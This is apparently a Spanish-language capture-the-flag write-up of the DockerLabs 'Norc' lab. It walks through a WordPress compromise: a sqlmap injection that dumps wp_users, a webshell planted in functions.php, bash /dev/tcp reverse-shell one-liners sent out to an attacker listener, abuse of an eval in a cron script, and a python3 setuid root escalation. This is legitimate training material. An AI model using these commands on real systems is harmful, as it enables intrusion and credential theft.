DockerLabs Norc

DockerLabs Norc

Esta es una máquina de DockerLabs de nivel difícil

·

6 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos.

Si leemos lo encontrado en el puerto 80 podemos observar que identifica un dominio norc.labs. Agregamos este dominio en nuestra /etc/hosts. Luego de agregarlo nos dirigimos al dominio y podemos observar que es un login donde solo debemos ingresar un password.

Antes de probar algo usaremos gobuster para observar si identifica algo adicional, pero nos da un error.

Revisamos el enlace a donde nos redirige y observamos un URL interesante.

http://norc.labs/?password-protected=login&redirect_to=http%3A%2F%2F172.17.0.2%2F

Por ello iniciaremos burpsuite e interceptaremos la consulta.

Revisando el código observamos que tiene elementos de WordPress, así que de manera manual ingresamos wp-admin y podemos observar el siguiente URL

http://norc.labs/ghost-login?redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-admin%2F&reauth=3

Ingresamos una credencial por defecto y podemos ver que no dice que nos faltan 2 intentos, así que dejamos de probar credenciales.

Usando wappalyzer nos indica que es Drupal lo cual es raro.

Ya que identificamos que parece ser un Drupal como un WordPress, realizamos el escaneo con esta base. Realizamos fuzzing con un diccionario de Drupal y podemos ver que solo identifico un robots.txt.

Si nos dirigimos a la web observamos que solo tenemos una dirección en el sitemap, pero al abrirlo nos redirecciona al login.

Realizamos un fuzzing con el diccionario de WordPress podemos observar más resultados.

Pero no identifico ningún plugin así que buscaremos un diccionario de solo plugins y probaremos con ese. Buscando encontramos este diccionario que tiene varios plugins. https://github.com/kongsec/Wordpress-BruteForce-List/blob/main/Fuzz Ejecutamos y podemos observar varios plugins que nos pueden ser útiles.

Entre todos los que encontramos este contenía buena información.

Al dirigirnos a la dirección web

http://norc.labs/wp-content/plugins/wp-fastest-cache/readme.txt

observamos que se trata de la versión 1.2.1.

Buscando un exploit para esta versión podemos observar que hay una POC la cual solo debemos copiar el ejemplo y de esta manera obtenemos unas credenciales.

Ejecutamos de esta manera y agregamos el parámetro --dump

Luego de unos minutos podemos observar lo siguiente.

Nos interesa la DB de wordpress y para evitar que demore cancelamos la consulta y volvemos a ejecutar la consulta, pero agregamos el nombre de la base de datos.

Si no conociéramos cuáles son las tablas que conforman una base de datos de WordPress sería agregar el comando -D wordpress y esperar a que liste las tablas. Pero podemos insertar la tabla wp_users que forma parte de esta.

Para más información sobre ello visitar tablas WordPress.

Agregamos el nombre de la tabla que nos interesa wp-users, también ingresamos --batch para que sqlmap asuma la respuesta por defecto.

sqlmap --dbms=mysql -u "http://norc.labs/wp-login.php" --cookie='wordpress_logged_in=*' --level=2 -D wordpress -T wp_users --dump --batch

Esperamos unos minutos y podemos observar que obtuvimos unas credenciales.

pass:$P$BeNShJ/iBpuokTEP2/94.sLS8ejRo6.
email:admin@oledockers.norc.labs
userlogin:admin

Si desconocemos el formato, podemos llevarlo aún identificador y observar lo que nos indica.

Como el password está encriptado tratamos de romperlo usando John, pero no nos da un resultado.

Revisando la información que obtuvimos debemos notar que el email contiene un subdominio el cual agregamos a nuestro host.

oledockers.norc.labs

Luego de agregarlo nos dirigimos a la dirección desde el navegador y podemos observar un usuario y un password.

admin:wWZvgxRz3jMBQ ZN

Nos dirigimos al panel de WordPress que encontramos e ingresamos las credenciales.

Ya estamos dentro.

Como siempre hacemos cuando ingresamos WordPress probaremos agregando una webshell en el archivo functions.php del tema twenty twenty-two y guardamos los cambios.

Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id.

http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=id

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc.

Deberemos establecer nuestra consulta.

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

Para evitar problemas con los símbolos lo URL-encodeamos.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Y enviamos, el URL debería ser así.

http://norc.labs/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos.

script /dev/null -c bash

Luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty.

stty raw -echo; fg
                reset xterm

Para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola.

Realizamos un sudo -l y podemos observar que no tenemos el comando sudo, realizamos un listado de permisos SUID y podemos observar el archivo exim4.

Pero revisando las versiones vulnerables que nos pueden servir son las menores a la versión 4.86.2 y nuestra versión es la 4.96.

Ya que no podemos explotar este permiso SUID, listaremos capabilities y podemos observar que tenemos la de Python3.

Porque se trata de una capabilitie también podemos ir a la página GTFOBins y buscar la capabilitie para Python y podremos observar lo siguiente.

import os
# Cambiar el ID de usuario efectivo a 0 (root)
os.setuid(0)
# Iniciar una shell con privilegios elevados
os.system("/bin/bash")

Tratamos de ejecutar el comando, pero vemos que no podemos.

Debemos buscar un password o un ID por ello vamos a la carpeta home y observamos que hay una carpeta kvzlx y podemos acceder dentro de ella. Listamos los archivos y observamos un archivo .cron_script.sh que pertenece a kvzlx

Revisando el script podemos observar que decodifica un password y lo guarda en una carpeta temporal y que eval no sanitiza el texto que lee.

Nos dirigimos a la carpeta /tmp para observar el archivo, pero este se encuentra vacío y si vamos a la carpeta www/html para observar el otro archivo oculto este no existe.

Empleamos ps aux para ver si se ejecuta el script, pero no podemos ver por nuestros permisos.

Ya que no podemos usaremos pspy64, para ello descargamos pspy64 e iniciamos un servidor con Python.

Nos dirigimos a la carpeta tmp y descargamos el archivo.

Brindamos permisos de ejecución y lo ejecutamos.

Luego de unos segundos podemos observar que el archivo .cron_script.sh se ejecuta frecuentemente.

Como el script no sanitiza cuando ejecuta el comando eval podemos abusar de este y obtener un Shell.

echo "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1235 0>&1'"| base64

Arrancamos el servicio en nc.

Esperamos unos minutos y podemos observar que se estableció conexión.

Luego de establecer conexión volvemos a realizar el tratamiento de la TTY como hicimos al comienzo. Ya que ingresamos como kvzlx probamos si también tenemos las mismas capabilities que en www-data y podemos observar que sí tenemos la capabilities.

Como ya creamos el archivo en tmp solo lo ejecutaremos.

Ejecutamos el archivo y podemos observar que ya somos root. De esta manera culminando esta máquina.